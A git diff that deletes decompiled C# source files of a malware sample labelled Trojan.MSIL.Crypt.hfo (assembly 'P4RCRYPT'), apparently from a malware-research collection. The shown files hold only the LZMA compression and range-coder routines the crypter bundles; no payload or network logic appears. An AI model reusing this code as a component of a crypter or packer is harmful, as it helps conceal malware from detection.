bitTreeEncoder = this._posSlotEncoder[(IntPtr) index1]; - uint num1 = index1 << 6; - for (uint symbol = 0; symbol < this._distTableSize; ++symbol) - this._posSlotPrices[(IntPtr) (num1 + symbol)] = bitTreeEncoder.GetPrice(symbol); - for (uint index2 = 14; index2 < this._distTableSize; ++index2) - this._posSlotPrices[(IntPtr) (num1 + index2)] += (uint) ((int) (index2 >> 1) - 1 - 4 << 6); - uint num2 = index1 * 128U; - uint pos; - for (pos = 0U; pos < 4U; ++pos) - this._distancesPrices[(IntPtr) (num2 + pos)] = this._posSlotPrices[(IntPtr) (num1 + pos)]; - for (; pos < 128U; ++pos) - this._distancesPrices[(IntPtr) (num2 + pos)] = this._posSlotPrices[(IntPtr) (num1 + Encoder.GetPosSlot(pos))] + this.tempPrices[(IntPtr) pos]; - } - this._matchPriceCount = 0U; - } - - private void FillAlignPrices() - { - for (uint symbol = 0; symbol < 16U; ++symbol) - this._alignPrices[(IntPtr) symbol] = this._posAlignEncoder.ReverseGetPrice(symbol); - this._alignPriceCount = 0U; - } - - private static int FindMatchFinder(string s) - { - for (int matchFinder = 0; matchFinder < Encoder.kMatchFinderIDs.Length; ++matchFinder) - { - if (s == Encoder.kMatchFinderIDs[matchFinder]) - return matchFinder; - } - return -1; - } - - public void SetCoderProperties(CoderPropID[] propIDs, object[] properties) - { - for (uint index = 0; (long) index < (long) properties.Length; ++index) - { - object property = properties[(IntPtr) index]; - switch (propIDs[(IntPtr) index]) - { - case CoderPropID.DictionarySize: - if (!(property is int num1)) - throw new InvalidParamException(); - this._dictionarySize = num1 >= 1 && num1 <= 1073741824 ? (uint) num1 : throw new InvalidParamException(); - int num2 = 0; - while (num2 < 30 && (long) num1 > (long) (uint) (1 << num2)) - ++num2; - this._distTableSize = (uint) (num2 * 2); - continue; - case CoderPropID.PosStateBits: - if (!(property is int num3)) - throw new InvalidParamException(); - this._posStateBits = num3 >= 0 && num3 <= 4 ? num3 : throw new InvalidParamException(); - this._posStateMask = (uint) ((1 << this._posStateBits) - 1); - continue; - case CoderPropID.LitContextBits: - if (!(property is int num4)) - throw new InvalidParamException(); - this._numLiteralContextBits = num4 >= 0 && num4 <= 8 ? num4 : throw new InvalidParamException(); - continue; - case CoderPropID.LitPosBits: - if (!(property is int num5)) - throw new InvalidParamException(); - this._numLiteralPosStateBits = num5 >= 0 && num5 <= 4 ? num5 : throw new InvalidParamException(); - continue; - case CoderPropID.NumFastBytes: - if (!(property is int num6)) - throw new InvalidParamException(); - this._numFastBytes = num6 >= 5 && num6 <= 273 ? (uint) num6 : throw new InvalidParamException(); - continue; - case CoderPropID.MatchFinder: - if (!(property is string)) - throw new InvalidParamException(); - Encoder.EMatchFinderType matchFinderType = this._matchFinderType; - int matchFinder = Encoder.FindMatchFinder(((string) property).ToUpper()); - this._matchFinderType = matchFinder >= 0 ? (Encoder.EMatchFinderType) matchFinder : throw new InvalidParamException(); - if (this._matchFinder != null && matchFinderType != this._matchFinderType) - { - this._dictionarySizePrev = uint.MaxValue; - this._matchFinder = (IMatchFinder) null; - continue; - } - continue; - case CoderPropID.Algorithm: - continue; - case CoderPropID.EndMarker: - if (!(property is bool writeEndMarker)) - throw new InvalidParamException(); - this.SetWriteEndMarkerMode(writeEndMarker); - continue; - default: - throw new InvalidParamException(); - } - } - } - - public void SetTrainSize(uint trainSize) => this._trainSize = trainSize; - - private enum EMatchFinderType - { - BT2, - BT4, - } - - private class LiteralEncoder - { - private Encoder.LiteralEncoder.Encoder2[] m_Coders; - private int m_NumPrevBits; - private int m_NumPosBits; - private uint m_PosMask; - - public void Create(int numPosBits, int numPrevBits) - { - if (this.m_Coders != null && this.m_NumPrevBits == numPrevBits && this.m_NumPosBits == numPosBits) - return; - this.m_NumPosBits = numPosBits; - this.m_PosMask = (uint) ((1 << numPosBits) - 1); - this.m_NumPrevBits = numPrevBits; - uint length = (uint) (1 << this.m_NumPrevBits + this.m_NumPosBits); - this.m_Coders = new Encoder.LiteralEncoder.Encoder2[(IntPtr) length]; - for (uint index = 0; index < length; ++index) - this.m_Coders[(IntPtr) index].Create(); - } - - public void Init() - { - uint num = (uint) (1 << this.m_NumPrevBits + this.m_NumPosBits); - for (uint index = 0; index < num; ++index) - this.m_Coders[(IntPtr) index].Init(); - } - - public Encoder.LiteralEncoder.Encoder2 GetSubCoder(uint pos, byte prevByte) => this.m_Coders[(IntPtr) (uint) ((((int) pos & (int) this.m_PosMask) << this.m_NumPrevBits) + ((int) prevByte >> 8 - this.m_NumPrevBits))]; - - public struct Encoder2 - { - private BitEncoder[] m_Encoders; - - public void Create() => this.m_Encoders = new BitEncoder[768]; - - public void Init() - { - for (int index = 0; index < 768; ++index) - this.m_Encoders[index].Init(); - } - - public void Encode(SevenZip.Compression.RangeCoder.Encoder rangeEncoder, byte symbol) - { - uint index1 = 1; - for (int index2 = 7; index2 >= 0; --index2) - { - uint symbol1 = (uint) ((int) symbol >> index2 & 1); - this.m_Encoders[(IntPtr) index1].Encode(rangeEncoder, symbol1); - index1 = index1 << 1 | symbol1; - } - } - - public void EncodeMatched(SevenZip.Compression.RangeCoder.Encoder rangeEncoder, byte matchByte, byte symbol) - { - uint num1 = 1; - bool flag = true; - for (int index1 = 7; index1 >= 0; --index1) - { - uint symbol1 = (uint) ((int) symbol >> index1 & 1); - uint index2 = num1; - if (flag) - { - uint num2 = (uint) ((int) matchByte >> index1 & 1); - index2 += (uint) (1 + (int) num2 << 8); - flag = (int) num2 == (int) symbol1; - } - this.m_Encoders[(IntPtr) index2].Encode(rangeEncoder, symbol1); - num1 = num1 << 1 | symbol1; - } - } - - public uint GetPrice(bool matchMode, byte matchByte, byte symbol) - { - uint price = 0; - uint index = 1; - int num1 = 7; - if (matchMode) - { - for (; num1 >= 0; --num1) - { - uint num2 = (uint) ((int) matchByte >> num1 & 1); - uint symbol1 = (uint) ((int) symbol >> num1 & 1); - price += this.m_Encoders[(IntPtr) ((uint) (1 + (int) num2 << 8) + index)].GetPrice(symbol1); - index = index << 1 | symbol1; - if ((int) num2 != (int) symbol1) - { - --num1; - break; - } - } - } - for (; num1 >= 0; --num1) - { - uint symbol2 = (uint) ((int) symbol >> num1 & 1); - price += this.m_Encoders[(IntPtr) index].GetPrice(symbol2); - index = index << 1 | symbol2; - } - return price; - } - } - } - - private class LenEncoder - { - private BitEncoder _choice = new BitEncoder(); - private BitEncoder _choice2 = new BitEncoder(); - private BitTreeEncoder[] _lowCoder = new BitTreeEncoder[new IntPtr(16)]; - private BitTreeEncoder[] _midCoder = new BitTreeEncoder[new IntPtr(16)]; - private BitTreeEncoder _highCoder = new BitTreeEncoder(8); - - public LenEncoder() - { - for (uint index = 0; index < 16U; ++index) - { - this._lowCoder[(IntPtr) index] = new BitTreeEncoder(3); - this._midCoder[(IntPtr) index] = new BitTreeEncoder(3); - } - } - - public void Init(uint numPosStates) - { - this._choice.Init(); - this._choice2.Init(); - for (uint index = 0; index < numPosStates; ++index) - { - this._lowCoder[(IntPtr) index].Init(); - this._midCoder[(IntPtr) index].Init(); - } - this._highCoder.Init(); - } - - public void Encode(SevenZip.Compression.RangeCoder.Encoder rangeEncoder, uint symbol, uint posState) - { - if (symbol < 8U) - { - this._choice.Encode(rangeEncoder, 0U); - this._lowCoder[(IntPtr) posState].Encode(rangeEncoder, symbol); - } - else - { - symbol -= 8U; - this._choice.Encode(rangeEncoder, 1U); - if (symbol < 8U) - { - this._choice2.Encode(rangeEncoder, 0U); - this._midCoder[(IntPtr) posState].Encode(rangeEncoder, symbol); - } - else - { - this._choice2.Encode(rangeEncoder, 1U); - this._highCoder.Encode(rangeEncoder, symbol - 8U); - } - } - } - - public void SetPrices(uint posState, uint numSymbols, uint[] prices, uint st) - { - uint price0 = this._choice.GetPrice0(); - uint price1 = this._choice.GetPrice1(); - uint num1 = price1 + this._choice2.GetPrice0(); - uint num2 = price1 + this._choice2.GetPrice1(); - uint symbol; - for (symbol = 0U; symbol < 8U; ++symbol) - { - if (symbol >= numSymbols) - return; - prices[(IntPtr) (st + symbol)] = price0 + this._lowCoder[(IntPtr) posState].GetPrice(symbol); - } - for (; symbol < 16U; ++symbol) - { - if (symbol >= numSymbols) - return; - prices[(IntPtr) (st + symbol)] = num1 + this._midCoder[(IntPtr) posState].GetPrice(symbol - 8U); - } - for (; symbol < numSymbols; ++symbol) - prices[(IntPtr) (st + symbol)] = num2 + this._highCoder.GetPrice((uint) ((int) symbol - 8 - 8)); - } - } - - private class LenPriceTableEncoder : Encoder.LenEncoder - { - private uint[] _prices = new uint[new IntPtr(4352)]; - private uint _tableSize; - private uint[] _counters = new uint[new IntPtr(16)]; - - public void SetTableSize(uint tableSize) => this._tableSize = tableSize; - - public uint GetPrice(uint symbol, uint posState) => this._prices[(IntPtr) (posState * 272U + symbol)]; - - private void UpdateTable(uint posState) - { - this.SetPrices(posState, this._tableSize, this._prices, posState * 272U); - this._counters[(IntPtr) posState] = this._tableSize; - } - - public void UpdateTables(uint numPosStates) - { - for (uint posState = 0; posState < numPosStates; ++posState) - this.UpdateTable(posState); - } - - public new void Encode(SevenZip.Compression.RangeCoder.Encoder rangeEncoder, uint symbol, uint posState) - { - base.Encode(rangeEncoder, symbol, posState); - if (--this._counters[(IntPtr) posState] != 0U) - return; - this.UpdateTable(posState); - } - } - - private class Optimal - { - public Base.State State; - public bool Prev1IsChar; - public bool Prev2; - public uint PosPrev2; - public uint BackPrev2; - public uint Price; - public uint PosPrev; - public uint BackPrev; - public uint Backs0; - public uint Backs1; - public uint Backs2; - public uint Backs3; - - public void MakeAsChar() - { - this.BackPrev = uint.MaxValue; - this.Prev1IsChar = false; - } - - public void MakeAsShortRep() - { - this.BackPrev = 0U; - this.Prev1IsChar = false; - } - - public bool IsShortRep() => this.BackPrev == 0U; - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-f184c735d91a93ab7d050f4bdcf15ec703f7b8702222b46033ce478eda5153a5/Compression/LZMA/SevenZipHelper.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-f184c735d91a93ab7d050f4bdcf15ec703f7b8702222b46033ce478eda5153a5/Compression/LZMA/SevenZipHelper.cs deleted file mode 100644 index 96c62e81..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-f184c735d91a93ab7d050f4bdcf15ec703f7b8702222b46033ce478eda5153a5/Compression/LZMA/SevenZipHelper.cs +++ /dev/null @@ -1,76 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Compression.LZMA.SevenZipHelper -// Assembly: P4RCRYPT, Version=2.4.0.3, Culture=neutral, PublicKeyToken=null -// MVID: 4FCFC54A-E9CB-451C-B098-6B43627447B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.hfo-f184c735d91a93ab7d050f4bdcf15ec703f7b8702222b46033ce478eda5153a5.exe - -using System; -using System.IO; - -namespace SevenZip.Compression.LZMA -{ - public static class SevenZipHelper - { - private static int dictionary = 8388608; - private static bool eos = false; - private static CoderPropID[] propIDs = new CoderPropID[8] - { - CoderPropID.DictionarySize, - CoderPropID.PosStateBits, - CoderPropID.LitContextBits, - CoderPropID.LitPosBits, - CoderPropID.Algorithm, - CoderPropID.NumFastBytes, - CoderPropID.MatchFinder, - CoderPropID.EndMarker - }; - private static object[] properties = new object[8] - { - (object) SevenZipHelper.dictionary, - (object) 2, - (object) 3, - (object) 0, - (object) 2, - (object) 128, - (object) "bt4", - (object) SevenZipHelper.eos - }; - - public static byte[] Compress(byte[] inputBytes) - { - MemoryStream inStream = new MemoryStream(inputBytes); - MemoryStream outStream = new MemoryStream(); - Encoder encoder = new Encoder(); - encoder.SetCoderProperties(SevenZipHelper.propIDs, SevenZipHelper.properties); - encoder.WriteCoderProperties((Stream) outStream); - long length = inStream.Length; - for (int index = 0; index < 8; ++index) - outStream.WriteByte((byte) (length >> 8 * index)); - encoder.Code((Stream) inStream, (Stream) outStream, -1L, -1L, (ICodeProgress) null); - return outStream.ToArray(); - } - - public static byte[] Decompress(byte[] inputBytes) - { - MemoryStream inStream = new MemoryStream(inputBytes); - Decoder decoder = new Decoder(); - inStream.Seek(0L, SeekOrigin.Begin); - MemoryStream outStream = new MemoryStream(); - byte[] numArray = new byte[5]; - if (inStream.Read(numArray, 0, 5) != 5) - throw new Exception("input .lzma is too short"); - long outSize = 0; - for (int index = 0; index < 8; ++index) - { - int num = inStream.ReadByte(); - if (num < 0) - throw new Exception("Can't Read 1"); - outSize |= (long) (byte) num << 8 * index; - } - decoder.SetDecoderProperties(numArray); - long inSize = inStream.Length - inStream.Position; - decoder.Code((Stream) inStream, (Stream) outStream, inSize, outSize, (ICodeProgress) null); - return outStream.ToArray(); - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-f184c735d91a93ab7d050f4bdcf15ec703f7b8702222b46033ce478eda5153a5/Compression/RangeCoder/BitDecoder.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-f184c735d91a93ab7d050f4bdcf15ec703f7b8702222b46033ce478eda5153a5/Compression/RangeCoder/BitDecoder.cs deleted file mode 100644 index e93b1c96..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-f184c735d91a93ab7d050f4bdcf15ec703f7b8702222b46033ce478eda5153a5/Compression/RangeCoder/BitDecoder.cs +++ /dev/null @@ -1,51 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Compression.RangeCoder.BitDecoder -// Assembly: P4RCRYPT, Version=2.4.0.3, Culture=neutral, PublicKeyToken=null -// MVID: 4FCFC54A-E9CB-451C-B098-6B43627447B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.hfo-f184c735d91a93ab7d050f4bdcf15ec703f7b8702222b46033ce478eda5153a5.exe - -namespace SevenZip.Compression.RangeCoder -{ - internal struct BitDecoder - { - public const int kNumBitModelTotalBits = 11; - public const uint kBitModelTotal = 2048; - private const int kNumMoveBits = 5; - private uint Prob; - - public void UpdateModel(int numMoveBits, uint symbol) - { - if (symbol == 0U) - this.Prob += 2048U - this.Prob >> numMoveBits; - else - this.Prob -= this.Prob >> numMoveBits; - } - - public void Init() => this.Prob = 1024U; - - public uint Decode(Decoder rangeDecoder) - { - uint num = (rangeDecoder.Range >> 11) * this.Prob; - if (rangeDecoder.Code < num) - { - rangeDecoder.Range = num; - this.Prob += 2048U - this.Prob >> 5; - if (rangeDecoder.Range < 16777216U) - { - rangeDecoder.Code = rangeDecoder.Code << 8 | (uint) (byte) rangeDecoder.Stream.ReadByte(); - rangeDecoder.Range <<= 8; - } - return 0; - } - rangeDecoder.Range -= num; - rangeDecoder.Code -= num; - this.Prob -= this.Prob >> 5; - if (rangeDecoder.Range < 16777216U) - { - rangeDecoder.Code = rangeDecoder.Code << 8 | (uint) (byte) rangeDecoder.Stream.ReadByte(); - rangeDecoder.Range <<= 8; - } - return 1; - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-f184c735d91a93ab7d050f4bdcf15ec703f7b8702222b46033ce478eda5153a5/Compression/RangeCoder/BitEncoder.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-f184c735d91a93ab7d050f4bdcf15ec703f7b8702222b46033ce478eda5153a5/Compression/RangeCoder/BitEncoder.cs deleted file mode 100644 index e5152299..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-f184c735d91a93ab7d050f4bdcf15ec703f7b8702222b46033ce478eda5153a5/Compression/RangeCoder/BitEncoder.cs +++ /dev/null @@ -1,68 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Compression.RangeCoder.BitEncoder -// Assembly: P4RCRYPT, Version=2.4.0.3, Culture=neutral, PublicKeyToken=null -// MVID: 4FCFC54A-E9CB-451C-B098-6B43627447B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.hfo-f184c735d91a93ab7d050f4bdcf15ec703f7b8702222b46033ce478eda5153a5.exe - -using System; - -namespace SevenZip.Compression.RangeCoder -{ - internal struct BitEncoder - { - public const int kNumBitModelTotalBits = 11; - public const uint kBitModelTotal = 2048; - private const int kNumMoveBits = 5; - private const int kNumMoveReducingBits = 2; - public const int kNumBitPriceShiftBits = 6; - private uint Prob; - private static uint[] ProbPrices = new uint[new IntPtr(512)]; - - public void Init() => this.Prob = 1024U; - - public void UpdateModel(uint symbol) - { - if (symbol == 0U) - this.Prob += 2048U - this.Prob >> 5; - else - this.Prob -= this.Prob >> 5; - } - - public void Encode(Encoder encoder, uint symbol) - { - uint num = (encoder.Range >> 11) * this.Prob; - if (symbol == 0U) - { - encoder.Range = num; - this.Prob += 2048U - this.Prob >> 5; - } - else - { - encoder.Low += (ulong) num; - encoder.Range -= num; - this.Prob -= this.Prob >> 5; - } - if (encoder.Range >= 16777216U) - return; - encoder.Range <<= 8; - encoder.ShiftLow(); - } - - static BitEncoder() - { - for (int index1 = 8; index1 >= 0; --index1) - { - uint num1 = (uint) (1 << 9 - index1 - 1); - uint num2 = (uint) (1 << 9 - index1); - for (uint index2 = num1; index2 < num2; ++index2) - BitEncoder.ProbPrices[(IntPtr) index2] = (uint) (index1 << 6) + ((uint) ((int) num2 - (int) index2 << 6) >> 9 - index1 - 1); - } - } - - public uint GetPrice(uint symbol) => BitEncoder.ProbPrices[(((long) (this.Prob - symbol) ^ (long) -(int) symbol) & 2047L) >> 2]; - - public uint GetPrice0() => BitEncoder.ProbPrices[(IntPtr) (this.Prob >> 2)]; - - public uint GetPrice1() => BitEncoder.ProbPrices[(IntPtr) (2048U - this.Prob >> 2)]; - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-f184c735d91a93ab7d050f4bdcf15ec703f7b8702222b46033ce478eda5153a5/Compression/RangeCoder/BitTreeDecoder.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-f184c735d91a93ab7d050f4bdcf15ec703f7b8702222b46033ce478eda5153a5/Compression/RangeCoder/BitTreeDecoder.cs deleted file mode 100644 index bb9b9541..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-f184c735d91a93ab7d050f4bdcf15ec703f7b8702222b46033ce478eda5153a5/Compression/RangeCoder/BitTreeDecoder.cs +++ /dev/null @@ -1,66 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Compression.RangeCoder.BitTreeDecoder -// Assembly: P4RCRYPT, Version=2.4.0.3, Culture=neutral, PublicKeyToken=null -// MVID: 4FCFC54A-E9CB-451C-B098-6B43627447B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.hfo-f184c735d91a93ab7d050f4bdcf15ec703f7b8702222b46033ce478eda5153a5.exe - -using System; - -namespace SevenZip.Compression.RangeCoder -{ - internal struct BitTreeDecoder - { - private BitDecoder[] Models; - private int NumBitLevels; - - public BitTreeDecoder(int numBitLevels) - { - this.NumBitLevels = numBitLevels; - this.Models = new BitDecoder[1 << numBitLevels]; - } - - public void Init() - { - for (uint index = 1; (long) index < (long) (1 << this.NumBitLevels); ++index) - this.Models[(IntPtr) index].Init(); - } - - public uint Decode(Decoder rangeDecoder) - { - uint index = 1; - for (int numBitLevels = this.NumBitLevels; numBitLevels > 0; --numBitLevels) - index = (index << 1) + this.Models[(IntPtr) index].Decode(rangeDecoder); - return index - (uint) (1 << this.NumBitLevels); - } - - public uint ReverseDecode(Decoder rangeDecoder) - { - uint index1 = 1; - uint num1 = 0; - for (int index2 = 0; index2 < this.NumBitLevels; ++index2) - { - uint num2 = this.Models[(IntPtr) index1].Decode(rangeDecoder); - index1 = (index1 << 1) + num2; - num1 |= num2 << index2; - } - return num1; - } - - public static uint ReverseDecode( - BitDecoder[] Models, - uint startIndex, - Decoder rangeDecoder, - int NumBitLevels) - { - uint num1 = 1; - uint num2 = 0; - for (int index = 0; index < NumBitLevels; ++index) - { - uint num3 = Models[(IntPtr) (startIndex + num1)].Decode(rangeDecoder); - num1 = (num1 << 1) + num3; - num2 |= num3 << index; - } - return num2; - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-f184c735d91a93ab7d050f4bdcf15ec703f7b8702222b46033ce478eda5153a5/Compression/RangeCoder/BitTreeEncoder.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-f184c735d91a93ab7d050f4bdcf15ec703f7b8702222b46033ce478eda5153a5/Compression/RangeCoder/BitTreeEncoder.cs deleted file mode 100644 index d0a2a8ae..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-f184c735d91a93ab7d050f4bdcf15ec703f7b8702222b46033ce478eda5153a5/Compression/RangeCoder/BitTreeEncoder.cs +++ /dev/null @@ -1,117 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Compression.RangeCoder.BitTreeEncoder -// Assembly: P4RCRYPT, Version=2.4.0.3, Culture=neutral, PublicKeyToken=null -// MVID: 4FCFC54A-E9CB-451C-B098-6B43627447B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.hfo-f184c735d91a93ab7d050f4bdcf15ec703f7b8702222b46033ce478eda5153a5.exe - -using System; - -namespace SevenZip.Compression.RangeCoder -{ - internal struct BitTreeEncoder - { - private BitEncoder[] Models; - private int NumBitLevels; - - public BitTreeEncoder(int numBitLevels) - { - this.NumBitLevels = numBitLevels; - this.Models = new BitEncoder[1 << numBitLevels]; - } - - public void Init() - { - for (uint index = 1; (long) index < (long) (1 << this.NumBitLevels); ++index) - this.Models[(IntPtr) index].Init(); - } - - public void Encode(Encoder rangeEncoder, uint symbol) - { - uint index = 1; - int numBitLevels = this.NumBitLevels; - while (numBitLevels > 0) - { - --numBitLevels; - uint symbol1 = symbol >> numBitLevels & 1U; - this.Models[(IntPtr) index].Encode(rangeEncoder, symbol1); - index = index << 1 | symbol1; - } - } - - public void ReverseEncode(Encoder rangeEncoder, uint symbol) - { - uint index1 = 1; - for (uint index2 = 0; (long) index2 < (long) this.NumBitLevels; ++index2) - { - uint symbol1 = symbol & 1U; - this.Models[(IntPtr) index1].Encode(rangeEncoder, symbol1); - index1 = index1 << 1 | symbol1; - symbol >>= 1; - } - } - - public uint GetPrice(uint symbol) - { - uint price = 0; - uint index = 1; - int numBitLevels = this.NumBitLevels; - while (numBitLevels > 0) - { - --numBitLevels; - uint symbol1 = symbol >> numBitLevels & 1U; - price += this.Models[(IntPtr) index].GetPrice(symbol1); - index = (index << 1) + symbol1; - } - return price; - } - - public uint ReverseGetPrice(uint symbol) - { - uint price = 0; - uint index = 1; - for (int numBitLevels = this.NumBitLevels; numBitLevels > 0; --numBitLevels) - { - uint symbol1 = symbol & 1U; - symbol >>= 1; - price += this.Models[(IntPtr) index].GetPrice(symbol1); - index = index << 1 | symbol1; - } - return price; - } - - public static uint ReverseGetPrice( - BitEncoder[] Models, - uint startIndex, - int NumBitLevels, - uint symbol) - { - uint price = 0; - uint num = 1; - for (int index = NumBitLevels; index > 0; --index) - { - uint symbol1 = symbol & 1U; - symbol >>= 1; - price += Models[(IntPtr) (startIndex + num)].GetPrice(symbol1); - num = num << 1 | symbol1; - } - return price; - } - - public static void ReverseEncode( - BitEncoder[] Models, - uint startIndex, - Encoder rangeEncoder, - int NumBitLevels, - uint symbol) - { - uint num = 1; - for (int index = 0; index < NumBitLevels; ++index) - { - uint symbol1 = symbol & 1U; - Models[(IntPtr) (startIndex + num)].Encode(rangeEncoder, symbol1); - num = num << 1 | symbol1; - symbol >>= 1; - } - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-f184c735d91a93ab7d050f4bdcf15ec703f7b8702222b46033ce478eda5153a5/Compression/RangeCoder/Decoder.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-f184c735d91a93ab7d050f4bdcf15ec703f7b8702222b46033ce478eda5153a5/Compression/RangeCoder/Decoder.cs deleted file mode 100644 index 9051d5de..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-f184c735d91a93ab7d050f4bdcf15ec703f7b8702222b46033ce478eda5153a5/Compression/RangeCoder/Decoder.cs +++ /dev/null @@ -1,95 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Compression.RangeCoder.Decoder -// Assembly: P4RCRYPT, Version=2.4.0.3, Culture=neutral, PublicKeyToken=null -// MVID: 4FCFC54A-E9CB-451C-B098-6B43627447B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.hfo-f184c735d91a93ab7d050f4bdcf15ec703f7b8702222b46033ce478eda5153a5.exe - -using System.IO; - -namespace SevenZip.Compression.RangeCoder -{ - internal class Decoder - { - public const uint kTopValue = 16777216; - public uint Range; - public uint Code; - public Stream Stream; - - public void Init(Stream stream) - { - this.Stream = stream; - this.Code = 0U; - this.Range = uint.MaxValue; - for (int index = 0; index < 5; ++index) - this.Code = this.Code << 8 | (uint) (byte) this.Stream.ReadByte(); - } - - public void ReleaseStream() => this.Stream = (Stream) null; - - public void CloseStream() => this.Stream.Close(); - - public void Normalize() - { - for (; this.Range < 16777216U; this.Range <<= 8) - this.Code = this.Code << 8 | (uint) (byte) this.Stream.ReadByte(); - } - - public void Normalize2() - { - if (this.Range >= 16777216U) - return; - this.Code = this.Code << 8 | (uint) (byte) this.Stream.ReadByte(); - this.Range <<= 8; - } - - public uint GetThreshold(uint total) => this.Code / (this.Range /= total); - - public void Decode(uint start, uint size, uint total) - { - this.Code -= start * this.Range; - this.Range *= size; - this.Normalize(); - } - - public uint DecodeDirectBits(int numTotalBits) - { - uint range = this.Range; - uint num1 = this.Code; - uint num2 = 0; - for (int index = numTotalBits; index > 0; --index) - { - range >>= 1; - uint num3 = num1 - range >> 31; - num1 -= range & num3 - 1U; - num2 = (uint) ((int) num2 << 1 | 1 - (int) num3); - if (range < 16777216U) - { - num1 = num1 << 8 | (uint) (byte) this.Stream.ReadByte(); - range <<= 8; - } - } - this.Range = range; - this.Code = num1; - return num2; - } - - public uint DecodeBit(uint size0, int numTotalBits) - { - uint num1 = (this.Range >> numTotalBits) * size0; - uint num2; - if (this.Code < num1) - { - num2 = 0U; - this.Range = num1; - } - else - { - num2 = 1U; - this.Code -= num1; - this.Range -= num1; - } - this.Normalize(); - return num2; - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-f184c735d91a93ab7d050f4bdcf15ec703f7b8702222b46033ce478eda5153a5/Compression/RangeCoder/Encoder.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-f184c735d91a93ab7d050f4bdcf15ec703f7b8702222b46033ce478eda5153a5/Compression/RangeCoder/Encoder.cs deleted file mode 100644 index 3619c492..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-f184c735d91a93ab7d050f4bdcf15ec703f7b8702222b46033ce478eda5153a5/Compression/RangeCoder/Encoder.cs +++ /dev/null @@ -1,108 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Compression.RangeCoder.Encoder -// Assembly: P4RCRYPT, Version=2.4.0.3, Culture=neutral, PublicKeyToken=null -// MVID: 4FCFC54A-E9CB-451C-B098-6B43627447B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.hfo-f184c735d91a93ab7d050f4bdcf15ec703f7b8702222b46033ce478eda5153a5.exe - -using System.IO; - -namespace SevenZip.Compression.RangeCoder -{ - internal class Encoder - { - public const uint kTopValue = 16777216; - private Stream Stream; - public ulong Low; - public uint Range; - private uint _cacheSize; - private byte _cache; - private long StartPosition; - - public void SetStream(Stream stream) => this.Stream = stream; - - public void ReleaseStream() => this.Stream = (Stream) null; - - public void Init() - { - this.StartPosition = this.Stream.Position; - this.Low = 0UL; - this.Range = uint.MaxValue; - this._cacheSize = 1U; - this._cache = (byte) 0; - } - - public void FlushData() - { - for (int index = 0; index < 5; ++index) - this.ShiftLow(); - } - - public void FlushStream() => this.Stream.Flush(); - - public void CloseStream() => this.Stream.Close(); - - public void Encode(uint start, uint size, uint total) - { - this.Low += (ulong) (start * (this.Range /= total)); - this.Range *= size; - while (this.Range < 16777216U) - { - this.Range <<= 8; - this.ShiftLow(); - } - } - - public void ShiftLow() - { - if ((uint) this.Low < 4278190080U || (uint) (this.Low >> 32) == 1U) - { - byte num = this._cache; - do - { - this.Stream.WriteByte((byte) ((ulong) num + (this.Low >> 32))); - num = byte.MaxValue; - } - while (--this._cacheSize != 0U); - this._cache = (byte) ((uint) this.Low >> 24); - } - ++this._cacheSize; - this.Low = (ulong) ((uint) this.Low << 8); - } - - public void EncodeDirectBits(uint v, int numTotalBits) - { - for (int index = numTotalBits - 1; index >= 0; --index) - { - this.Range >>= 1; - if (((int) (v >> index) & 1) == 1) - this.Low += (ulong) this.Range; - if (this.Range < 16777216U) - { - this.Range <<= 8; - this.ShiftLow(); - } - } - } - - public void EncodeBit(uint size0, int numTotalBits, uint symbol) - { - uint num = (this.Range >> numTotalBits) * size0; - if (symbol == 0U) - { - this.Range = num; - } - else - { - this.Low += (ulong) num; - this.Range -= num; - } - while (this.Range < 16777216U) - { - this.Range <<= 8; - this.ShiftLow(); - } - } - - public long GetProcessedSizeAdd() => (long) this._cacheSize + this.Stream.Position - this.StartPosition + 4L; - } -} diff --git 